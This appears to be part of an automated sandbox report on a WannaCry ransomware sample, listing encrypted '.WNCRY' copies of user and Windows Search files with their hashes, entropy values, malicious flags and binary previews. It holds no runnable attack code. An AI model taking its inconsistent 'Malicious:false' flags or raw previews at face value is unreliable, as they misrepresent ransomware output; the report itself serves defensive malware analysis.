                                                                                                                                                                              Preview:WANACRY!........H.}4....j...+J..j...I......+.FC.g...w........#.,'..|.-..:.....,.F...)..6.).. UX...{..d.F.*.7.Z{k&]..>.......v..VB9.V...4..w#7`...p..]]J.=A..Q.8...U..U..]q..Q...aio..).pZ....... O...#....bL.J..r.U......u.....+D...K......;....^7.Q..X.......^................Ae..2."gM&.&7......vp.`..k.....w.W+..a....*,...$.........z...a..z.3.Y......Z.g...'8.{..9.w....P^..=h...6....k...p.y..}.#.^..q&....(%.i. .T.Z.S..J...9...>.&.=....j.Q....5..w9)...b.x..O......l..g..#./2.F.D5...{a..f),..?*.)..b..~..1<..?.I+>....?ib..o.cx=..i......#W.?...].....B.......2MR.pu....r.K.......;\.D..[/6.3.......=..t\Qj.tB...m^.....i...\wL ..iX.-.@|....Xl..W.X.>+=<v..2Vy....L.JK7.t...z..K......i?Q.E...K...\?.>..b.AG$9+...v....<%.M.Q...i.d.R.*.;`&R..u_...y..)..e'.u.....D....L,K..;..A.S?..9..k...?..#...+.<.}8L.5......4..$....;..y.xq.............t.. ..,r...q.....".Y.PrcRb..,...H(....j.,e.P...[....s<...@..k.~...;......4......{...J..i....z...9.~O..t..2..N...(I?.......4....K\.

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853313959171084
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqsl1GoD60GwIM4Qa8XmD4/GvLICFwvJOiKVr/rhviyiBHs0NaROv:bkBbPGwI7QasmBj8Furz5ziHXao
                                                                                                                                                                              MD5:86EA641AEF7B47F48B8050B63A407B09
                                                                                                                                                                              SHA1:B92D79801FEF3944F2710F10057E21FAC7EE3874
                                                                                                                                                                              SHA-256:4DF798848CFBAFC581D04EDBAFDFC6B3404DA2A2778C80171188F958F750F479
                                                                                                                                                                              SHA-512:78F7DF34986DCA70455A3C30798E19FD45A9B9CE95A90C7F1D272BEBD45577D312B41A529761635E5FE6EFD0197A279EB45D54AB333D63CF5DEED9D1F78EA01E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....e.p.D._/..<l...U.w4T`...........b...l.TI.`.[.#$,....$rJ.N.i.s.f>.....o.Z..q.o...........@$..C....s....].....5.q.j..~....w..]....s...[...M.VQ...ZIs.+.[..8....p7...t;g.O".@.i.m....cd.F\.S.3.#...O..7%..*...J.mcB.Jz.3..g...4.jt..d..}....eiZG<Z..................``tX(.PO.....s..!!..k.!R....0...g....x..#.....=.e.\bQ..O..lx.*..TZ..<_]&..D.....(bf.......](!...~.C......t1..a..;%.....@.2".IG.qU._..J!..g..x.0....+}2v...\.,6..S..NU.....b..O..q..sY..'X.....k..`}.}.y..F.d|...p."...h.6..*.Fmo.j.Z..../f....6(..#[....OPp,..qY.-\..3.....E.\.C8>.&e.CK.K.e..w{..Zb%1i.....v2._'..dO.........).F.;].:.V.@r.c.{r.......}...jj..v.F,..:2C.].Q.......0'.[..........9.{....y._....z...E.Yg5...O....6N.$ V..-.!..F?..R)..a/....t..rc...p...o7... ..[[.c....n..$7....3x.....P.9..r.~-..../....Dy.u.a.&.~w..$...9......m.P.*..j[.mV.zyh......f.....$.3..E..W......FBS..Pc..H.s.<.\}G.R.1.].^.<_.K... .....q6.........D>.\`.....e.H.s.. ..D.(........EV.:..Q.p.B...

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\EWZCVGNOWT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.850503758988433
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkcYgvXUm4vMKE4qI+BFkW89rSQuadndxkEJmISZAbA5t3M9hdCgYQJ2:bkcbEbdE/LjsYxsnkTISkADMXFf2
                                                                                                                                                                              MD5:F38BF70016C72E9A260284CAA3FBEDEF
                                                                                                                                                                              SHA1:716BFE36D5494F92B283AF18E879C9EF9BC57EB8
                                                                                                                                                                              SHA-256:4DC7DB558F6110DE27CCA9CC8098C3481392D3F23ABD6EA92460EA239C34A8D1
                                                                                                                                                                              SHA-512:FAC8D3EE02A20E2DC6C9B01E00499D5022757A683B1272DE9DBF122484D0B2FDB3B3EF6A223C26A3693776714ABB9A0C3652EE84AEE8F99DB980ACC7A7A566D9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1N.....}.y....^^.`.....5F.=\....[...b.#&..b..........M.........[....9.!7..w.Y.J.L.Y|...I..E..8...d..\?.E^"..cs.l.lh.1.@..F/.rGA......4|...#..f<..55..F..T?..q...t.of.o.(...t.......a........J.j..[j.r.6z7.......2....q.ert..v.3..I........^E....K.............g.T.Y....E....5fQ...+d.....5A6z+..3.TdRJ...Z(..@.U.Dj<....b.i......99I.o...T.f.W.....SLn.F?..L...=U..T..v. ..)..y2.;..+.X..J..m......_.$&0.......,.T_.....HO.X.,F.....?..L:.....)>...iI.....k!.A.n.].q.)C.}.M.4.I8......I..1@U.w.R<.Bq..3...1..KY...G...P&.O.P...k.}..*.......d.4o$.>.L`K..o.OF.e5._K.5.. K.....[.g.O..^.c.13....K...].#.[R.n...m.-^.\.....B...a..._w..M...S.t..%4....Nz..Y......j..s..hLT.,..D...HTQ.'.n).C!..@..q..K.T....Ni.....s...s....P...x..Q.O+.!K...wT..>.(....^.?.3..(..N.DEXO...A....,.......i...d.]J.{....|.cZ_..7.0.s1....|..:}.1"..bl...w.."[..$.#\...*x*jG wC.}.}.?X.P..w./...V.....Wv..'g....4....:.7&...........Mpe.`..5e..Q9.}.i...N.K#\rt..8..........P...h.R.ri..+wD....8d..?

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\GIGIYTFFYT.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.823317371771384
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksoX+5MQK/aB4qGGCTzyyfAqLFwpLhjEx71YdVj5c5yoi0dN1g9wdW8Y7FkbhD+:bkd+2QKCB4qGPeQxMx07+zNIyofgkh7O
                                                                                                                                                                              MD5:347012A4283229EEA8A9F45358383ABD
                                                                                                                                                                              SHA1:E08A95515464D534246BB15C55AC70F85D33E2B5
                                                                                                                                                                              SHA-256:2A172FA7405DD6ED3A2F2A44131E4E2F21502F44ABE9AB86D8FBEA3409B95ED6
                                                                                                                                                                              SHA-512:E0F80B355E131F000C7BC9261725AB48E4A830161C2DD92EC89CEF61C8D2FB429EF3635009C98E1521DE9FA0BF450186D559A6B7ABAEA06FCA41F7217F272BC5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....sn........B.#..).......h..s.<....pB/...}"%r.r...o|......H.3n..}#..].1.d...O......B.........N..1y.w.G_`;...........`c.....4.....Z.._"..f...q.......6U.T"......o.].......X...X.6-...j.*<.x\.. .u..9A../..q2TGf.m......8@...JcX....'Y....QI8x....................s)4to'.F...A_%..^.0..(........k..8#..s...D.t...w..."fes/4ab.)\..y_z-1j.tY.P...u~.@:MC.oGx^!x..c...g..g.......r......8...QN.+.,..[..^R"....?.UW...H..d.p....b4.............)y.n..R.....}.T.......T...HiS8./P....BM......S9(2.(M[;..UFx..^.ga8..5b.b...c.[...I.~^l.rW.u...u.&.\n..ZJ..s)........F.<8t.B..+>.pcy.B..~..1..R.......*<.a~x.E.e6Yx.t...~l...q...'.....W.w.JY....x.3._...I..w.B..\_...G=........qQ...tW.h..@is.....G..D.^.....u.."...8e..6....u@t]Pz...US..Y&.5.....D..3j5.*Jr|a6...{XSY. .Y.pO..$g...Z.A.*....:/V...}...Y.;..[."j...b.A.i..].,.......c.a..%M..lt}.g>Q$.....?.H.bQ....>44.O.k\.....)v.0........C.L)F..7....)b.)...i.d..R.iEA*Al9~;~=..<......."*...>7................m*...

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8404851799642925
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkn189iqg4NiJUHkXWTewtg1gk0PgTN5wPtQ2RvU2VmxwsrHOyg0gnp5yGUEWfx3:bk189ir4YakXABk0Pj9pU2xs7pzkp5yn
                                                                                                                                                                              MD5:4D44371D2C7EA72CD885F4DC99BF69FC
                                                                                                                                                                              SHA1:1F33CDBAD6551F6A8152E1E38A1989F2F645F01B
                                                                                                                                                                              SHA-256:69C1107C23BC2F22C9BC0B67C359A42A3AC4D9615A4719BE100E447D9757EDAA
                                                                                                                                                                              SHA-512:708D4836A3C8AA22D6219FFAF295E9F33F6D6BF8D16F96032C58E95636492F356B8613EC1F41E0C65926D5B01F07F676A22CA0C9ABEB06ED29D7DD9DCC6A176D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....,.h...|.......6....G...)...H..W.`?.8..3I..B,1../+J.@..?[a1W?p..auRen.(-..r7o20...x.....8}.A.....8._....d.%.E.vD%D9sL4...<.p..k-.'.......U%....Tm.A9..]..u...I.Oe-sA&,......rd.m=...%@q:}'.1..]O....B..).72...1.b....(...A}].SOc....F..i.,......>P..............#.LQ.j.S......j.c.o.8}.Oj..z _Gc..2.g.Jd.-.K....H.&.gz....{.(-.2..._8B.F.J...tc..}0.!..Dr..R.xjWh...}....Oau...].L...,.....O.'..Xx*_.i@-@7.1&d.....8...\......3.0.l....j.'..C..}...Y.<V7%...j......8yhG....3...........U.....j..X.#....?....av.N.E.'.<......$..38.vv....|qn.45J....SVm3....3^.f..W...A..a~....Ro..R.:....Nz&....fa.....\}........A...`_Q?.v.u.....x'c..1.....u>F?...D..u...=.N..].. y..d.;.....*:.<...o..n..t.......(..)bAd.Q}..^..Xi#.....8.......H2`.....r.1..5+..4d.....s|.Jn..@...fw....m.H...I_.X..0[J\.../..(.\..?atg`.#l.&....~..:s.ob....Gt.._X.Y.b.42..^.D.....;....q.b.W. ..z#..J...u...W....7.z..%C..F.vF.....t....DkN...e.,......7&....DO.W..M.....E.8....E......!....~GfIn<.

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.852962179244053
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksPnEIsKuhB5aCiZ1fpuDAAvBxW/5zF31O7n8XGszpeUgw:bksf3sKu9viZ1hWh5xcFg8boUH
                                                                                                                                                                              MD5:0418CEADB20F1686A63A5F5BDF89E63F
                                                                                                                                                                              SHA1:8094D7223D2C1D45CAEE73120C0F0965676087EF
                                                                                                                                                                              SHA-256:50CE0C5F88D7063C086D2C775470359BB22CC26F705D505DA2C5E6BE7FA8C9EB
                                                                                                                                                                              SHA-512:BB74C3426397CEB67F99A10C388C0B3CB19873BEB6157068BD57C66509899258397BC26B19F143BF30C5007E3B223B58457D56D6ECF44474EF721040B7E53FED
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......g&M.;.m..*A...5.K.?.F..^...;.R...3g...A.fk. ..wuh..u......BVa....D...>Mj....jSF.`n..y:.....M....Ev...)7..W...zC.5)..i.j)Pb?.{.._y...oo..(2.......-j.2B..+. .V.C4.(.O...N...k.H{"....,u.`UO...../..G.L............2.@.QQ..O4..1@.....=.......;C.(..b.............R....ZWO8`...od..ov....7....K.R..Lq...W$...4..'o.V.+^..:..f."..^....B...n.I...#WV...Ka".9O..a.&....{.kv./..T0.{.........t3..*..Qw.F.p-.k.8L....l...4....DOW..R.#.1....{..H..+PQ..)./st...=.x.:Xy..)...Oy.C.^.m.1a.......y...l......)Z.{...3...x.9.l].......8m.8...$.....Z......N.....o.M.$N3......7e..N..FGL.G.............1....PQ.G./..U..G%....l.....!._|q....V.F...Z..8.3.(.y.<7.3...!.m.4..T..%..I.K.......$....F...KNY>...6....e8.s(.9....%#...}...C.x3.u..FwL".\.........,.g [...X%.^.....M.iqT...j|.Xw....\jyy..G.....T...V"^..,. .5_.....-...u}..'6.x...|.(u...._|.9KD...=..^....=}^.Q.K6.8..P...I..y...._..(....(.|.`..b.`..L....u..;C.r...k..R..@.....F....6.........5^....5..#...c.[.......~..W8.

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\NYMMPCEIMA.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.866127908951453
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkRlEnHx3FgzitFO8cZYvXqCd2Wg/cfZZDA5bIK4xT15ky126PafdC:bkR8H3gmapYvhUWg/ckIHxZ2i2/1C
                                                                                                                                                                              MD5:A9287FAD1998EA389B9DA2FDA56DB06E
                                                                                                                                                                              SHA1:CC819DF7054F8BDA265E1662EDB05CC31920AD43
                                                                                                                                                                              SHA-256:6FF8B8B09AAC970C3417F8E84CB0E8DBE1FE145590D41C7EA52C93CD0EDA1C5E
                                                                                                                                                                              SHA-512:14F4A168BF39077F7EEB6BE93F8B42344B750E3DE822BAAF25233DE6B08D7070857D25601C089921DC2884075720EE2C996DC14D5EE879E3339CF9AD9DF4FCED
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D..D...ia.n...;>.....c.....-....Uh/wy..0B.jM..y{b....W....MZ....".m~.....9M..8|.......f.y...qP..5.5...q....L...._..w.D.:b...8..u.<.8/.I....42........Cr....(AT.2..fQ..?.F.A#..u..H..\2B..(.!...zw....c...`Hp.......u....dt\..L. .,.ZL.n&.d..[............cZ..6..\...^.}.N{...F.....]!.8 cJ:.........g......K(..,Q.$N..hi..F.E..$..j.xp\..k;..T.gli7...Fl5."....1N.x.z+..*...9..ybI*.+is..@'.........qD.E.f.ucD.T.%.%.1v..N#.&@...:Q.....w/.........w..RP.....Bv.e'M..}p+.CAf...]..0..f.R...D.R.Mu[.A..|d..mx.t.a....4..(..snH.|...{mK....c..~.{.....~..l.....y..^........m..1.e......[.yV+...5f.e^KE......U..R-M..I/.>.)z3.K......f$:.......u.qD.4.2..G.Al.......v.I.>[o....l.Zq=#5.3.Y/%..n.......S/%nj.m.._9.q.. )X.%.......G...bP.I.a..T.FgZY.....h..j.-.@.......V......aA>.wy......3.......d4...t..H....;.n.n...GOmzt...<..9.....&...`!..,.O..j...U.*/...~.......e ...C.."...C..R.!..{.S..M"...Y.7...K.9.x6h.6h.W..:f..b?Rb./;.....**Q5(.......^%2|...b....

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\PALRGUCVEH.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8619972205575
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkIcJB5gMqBgqFxUgBDDX+b3HPkM4Op7vVq+7SPSlgZxG/G4Dvlf1q2MKWGwouvZ:bkhJ0MggqLXa38M42VqMgZUh5s2BWzoC
                                                                                                                                                                              MD5:79B1D5DD6DA0F4A93456ABC3D9F737A5
                                                                                                                                                                              SHA1:A790E72C40BB0D7FE43F20F491BA5BD96AEC132E
                                                                                                                                                                              SHA-256:3F36980BF35ACBDD99617CBFA6C50B231133267C3D23FD4C9E42AA644CF903FD
                                                                                                                                                                              SHA-512:97E7755A4DD153F54F72907DB711ADE20F7F9260D02605FB94780325D6C50970C2A1B516FA2FD3B8D44227D835DB4B887A517B5AF237EEE18B9C27B94A287823
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........\.V.<L\..O.6...aAyQ.;.....2/.".*...q.r\&..b.b3..D4...>w{.p........h^)s.X......i.a,..T..{}.p.HIn.W0]..>@...y.0.j.y=...aP..`k?dt.[..Z........8...H......i]e.`.YH.....;2.u..6|.D.IA?....R.....~......G"....:P.4G.....oUR.b........%......J...`[..............$....O..zV,F/....?+.A.I...nL.\.#..!..3..Ue......fA..s...H!..n..ZU.. ...g...Vy.4.".BrB;&U-.@..g......ai...C"m..a}...#hL=w.z...W..B.r......|;....._%..v......4.Z.......,.!\..?..o..9..4.....U2....m3...;.b....i...~.g...,U.;.............|....[..h....0......Dt$M.S.H..7w........'....d......y....../ p.KL}P.i.I\.....2.Q..Z.'......E.4Z..3K.v..NrKw.WY.`...3....3s....2).>....O...K...$..L.......5hJ1l...dV..!.nw.....Ld].q.e...L7q.UW...y..[............m.X.....b.Ku....J\Z...,.7..;.Y....... ...<l^.hL..K.S..R.....&.p..n.......*.9..Y%...0..w.O..n!.I...kq../+y....Er.J...\.....n.T#].j...z..Q.vW..d..._.O.,....T...z...F4...f=K.K...!..n.Q..*.....a.ZD...z.3.....}dfS...\.5Yk..-D..0.g....:..._.

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.841507618468726
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkd1OTr3WOL42ZdQSx1udcYg2cYSMcjJtb5m3SFtbPXKsPCT3PBy1kpsonGIhzzL:bkdW3WOlQUnx//b0O9XKBYqaozzzL
                                                                                                                                                                              MD5:BE894D526E90F29DC4F374F6D2521998
                                                                                                                                                                              SHA1:249ADB16A96477A0F70E78165EBE21F0456A5246
                                                                                                                                                                              SHA-256:7FD8DDDA140CE60A6A541F8A7A3B763915A06694E3E81BC203F90A02FE9A76C9
                                                                                                                                                                              SHA-512:9DBFF8E4D981AF2FC90DBA516D9BAF9938629D68FE920159DB775EEFCDA255E7A198A78D3391764B4A129994E1C4C5D689ABAC3B64001277B4E5483B1FAC78E5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......D../.....d.Q0d.k.....hS.....rD...7.j^r..D,)W..U.c....B........t.'.K.;.w.T..N?B(..~...i.x....}.g..y.^Cx.......r.Fa../.........FZM3.....[............*M.$......#..+8......6.T.n.[.e..<.K).I.T.;?W\;_1u..G7....Rl-...........K.P.YH[..........o..@..............Vt...Y....sgm+..@..|....r..l..j!...~.iW...dB.....k.|..c . ..k...ZA.IKL.y8.!..*..D..(;...&.G5,.n../...f.....79.(..d...i......*:.@kG..,v..bS.;..[....-_..K..R..W=...\.1`.....Pm ,.s;@.m..W.2n.Wp..;...@..I...........$_..+.kX_. .0.C...:o....."A..QQ.w...~T..Pk..Tf$h.5..2...K*s.A..i.........!l`.S.....2.K=.1x. .&/................a9.|......g.z............>X.s.....%..U....+...;....=...i..T,.;D.;23..3 K.....1w........B3...z....m.sx.5..ACd..Oq.+..7C_..K.`.Z....bf.p....iQc<....&..h...].......l.&....?...r....e....s.n....("&...3..X..n.=7.....u.........|F....Vc...,.)6d.U...x..5.}....K!...ae0....h.....:.M..2+.*F.h.VGy...............+....tP..4...h../. ......Qq^..SD..Q+..1...4M..b.9"

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\TQDFJHPUIU.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854825327543121
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkuklpzTDWWqXX2tq5mR8ScDWdoE8UiL3TEmA4MZbNC+mclq4iYinK:bkuazfWCt4muHmxELj9A4MZEdgqbYH
                                                                                                                                                                              MD5:D5AE4E7C1487B6293B12CF038DC14846
                                                                                                                                                                              SHA1:203BF428C86DE466433662EC9833E8DDC1D6E7E0
                                                                                                                                                                              SHA-256:2630F6051C659095FE8D60FF29F51A37BA5E4CFD25DAB202B8385F7F6C2BE4BF
                                                                                                                                                                              SHA-512:9AA7EAE9523C31683B01F4745EB3B46E77074F804512B842B1249ED42ADD8AE25201735479C5C51F466E33514211DD51C0CA4F6878ABAE21A692E2A4E03D7AB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Jd.&plXe..Q...z...D.SL=.......7.......9....;...Ex....$....q.C...;Y(...`..\-t..........7...t..bhQ*.>P.ZI..5.-4.......hw..O.>...y-.j.(M^..I.x. .&..Fw.f...E..i.i.......T.."......[....[....^m.?..1Rx2.....^..|..A.].]...l....@.?}...yDR!n;../H_...I.D..............3...u\.F.E,.w.:Eo....".&..N..z....y...[....>3?...\=r...I...f.h..g..(...+V.B..:.J8e@....k....R]..d...9..Ob.....j'NW....sT.......O...!.....p:|..'.`....0b.Sp.g*.....l..'...i...P.?.y..@q.*t.<<.1....*c.....|..R..-..=.i...S....ix.6.;..{OJ.(....i.BDY...s......yVV..<.....6.....2.........z.r0.=.<....-.1l.v...>.....7.j^.].....Y..r....M.2....<UF..t.q.]_."*B6..!.+..`K..B..yj.%..x. .=:...N;u..:4..-...(...B....Bzq.W....+.n.?$.J...w-.lc.u..>t.....%.".Qxp.....W+...s...%...-...p.8.]..,.C.{..3...Q.-.N.N7G`.2h......dx7+.3.......dC..L...cy3Y.6..W....Az/l.....|{.e.]J..l... .2.r..`>ug+*zB..,..p..t..O....-P.,........#k..$..... ..a;zV...A:.bY#......(]..".^I...4.......j...~.vI..,.%~.0....H.U..

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\TQDFJHPUIU.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.839042997083576
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk284vtDjy+a3V+H9yrHxLDx9SmKLOFKZnfa2isBU6ChdF/0AeSEcRqaE:bk2rdy+K+Ox6mpFKhC2isBIhdFMAJE0E
                                                                                                                                                                              MD5:F4ABFAA2C2351F5E703237C63158EEF7
                                                                                                                                                                              SHA1:6807CED30B941987D3CFBB7A79896C119BD52EBA
                                                                                                                                                                              SHA-256:2F8913BF086E976FDC10C28241EF88BC81A14F621253215DB89ABF87974AA9BF
                                                                                                                                                                              SHA-512:C4EE538E76E60B6CD8D929E8CD035F16ECC58B8CCD6C074366158717BF369A3763A41F8C5F0D1E02233292F8CA7A29D5A7C88B107D343B2C6B762563419E798E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...... ...e./K..?..>.|L;.....+.G..YK..j....X.....XLP..........k1..,&..u...XQq..'.,.:[....(..S....j_.U..0.....).%Oe.h...:V......>...q-......c...2........S{j... .8bz..&v._...z....y,...icZ......~}...PP....d.BA......#../.Z#6..JY\.r..|...6m,...%..g.P..P.............J.\..+1.UH1e...0.]G..S..R.5.f.._4{Kq~l..H.....V.`M\D.2)..+#8...g.`=...$..Z.+.o.\?S..'P.KT:Z.._.k.l.._....ssw.$L:]..g%.K.mp..G..h.8.*.RL.j[o.."r..,..C[.....%....i.U...4B.PU......r...Tqj8z.....3..l..-..wTS.-.=.~ ...G......d.......Z..r...p.^...).c..z..-J..y...07x./..N....!.Vi.z_.x..).........r.VI...AK....H..7(s.p.....E....l......J..<......O.......@..7.mlF..f"..*..P.i.\.mbA1...?~...l..Gd..V....u..s..=..<&.G......_@ar$5o4`.=.^.q(...n..y<..)..@ .y.8....k9.....P.{.A.=L.<...Ej06*.5.._...X..wg..0.!FFt].@dO..$lI.v....]I....Ri}6p...X....PF.<>...A[...}Qu.A...-.?...>XZ...l.e.R..#-...waI.Fv....*.....p.L.B.......j.OH..!....a..J.`s..d.l^.I..'.(g..J$O/...>.;..G.8<./Sql.......W..3...%.r....G...i

                                                                                                                                                                              C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200080523294.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115080
                                                                                                                                                                              Entropy (8bit):7.998509339813832
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:DZk3XdJL5IiYG0GDhBB0JNWB8V2OjsIXRdwxWz:DZkHdLrXDhEV2Ojswd
                                                                                                                                                                              MD5:FD01E77115CF4FA31CF939492EA61801
                                                                                                                                                                              SHA1:70D39A2BF5289C90B0A32C36624FDCBF6A814DB9
                                                                                                                                                                              SHA-256:3C243735C66170DEF57D9B9E7B24B977D6FDF0E77008BB9C4B744F71800C1374
                                                                                                                                                                              SHA-512:A7287831BDD5C08F1C9692D57E33968A767EC2C2797D6F49688AD9292570883AA64A4B7A436993C7977A4BEFBFBF54AEA2DFA7FFD1FBA9714E0A7B0DBC6146A6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......{.../D.f..<..Aa..2td.3a...K....sg.T..9...k5./...1op.9>.d5y...'..v.nZ....K.&.t...*c.....jZ_.....8..M..FD ^f[|...l.....".(M#.._..<g[..z4..3..~..vP....U....=.......4.....F....]C...._"...>...)yv.y.E...Bb...|........?A3....<...#k.....;..p...KB.[.....a.......(. .{..r.{.L..P..zr.4p.$.q.a..b.b..D..X.x^(.+.Z..-..D..[..r.+y.......b.N..$...U3...R@...7.u?VH...-V.|..(..-..vIN/0.....i...[?.t.....J.......6C.....$..B.n....m2G4....."{;d.....O.;.....o.K..C......sg.........=..D.?.......5,X:y.~..i.....g&[t.....0Oq..m.=......0#@.B.'+.9(..jc...W....=.Qj.T!.P..O.gh...o...s...w.c`.:.....$..H&oD...n.t.s..P.5d....q!.T....L..S{.B.f/..F./....U...D+..3.....v.E.....Gh.@A....o0c.j.l-........x...d.\..H....K.. ^s$._..N.y.....LF(.'..R.m7..............G.....Z..?.-.....:..i.M.-......!..LC.Y5..I26..Zz..5..CJ..~.C.j.U....j..A...S......,b+m.I..._.$c......m..D.mO.&...f.D`.V.i..-/.2.S.....io..hn..i..Uj-..4....5.....u@..n..N...3.;.P....M.<.....<....@...+.H.

                                                                                                                                                                              C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.995130835128701
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:W+xrX3u2Roj6YGu67ivHx5+qaWDz2XmeWc+OL3O6eEqu/nTBG:lrO2RojZnvyqdDz2sNOjOhE9/nQ
                                                                                                                                                                              MD5:A58EAA3B37170E3C1FB6E40BCBB3978D
                                                                                                                                                                              SHA1:E607A3B6DDD01D5D454BC3C13B2FFBCFB32454BE
                                                                                                                                                                              SHA-256:065F5108AEB8571DF566A7EA626FACD09683AE13D0C24EF14A801247972B6247
                                                                                                                                                                              SHA-512:6A2EB8C4BEE57275C69910B0DFA259EA998605892DFED859622076A484802BA95F4ABE93C46E71F25FD8B44C83C62D4AB4DDB1EF4469F4A5B35F67FE9030CFA7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
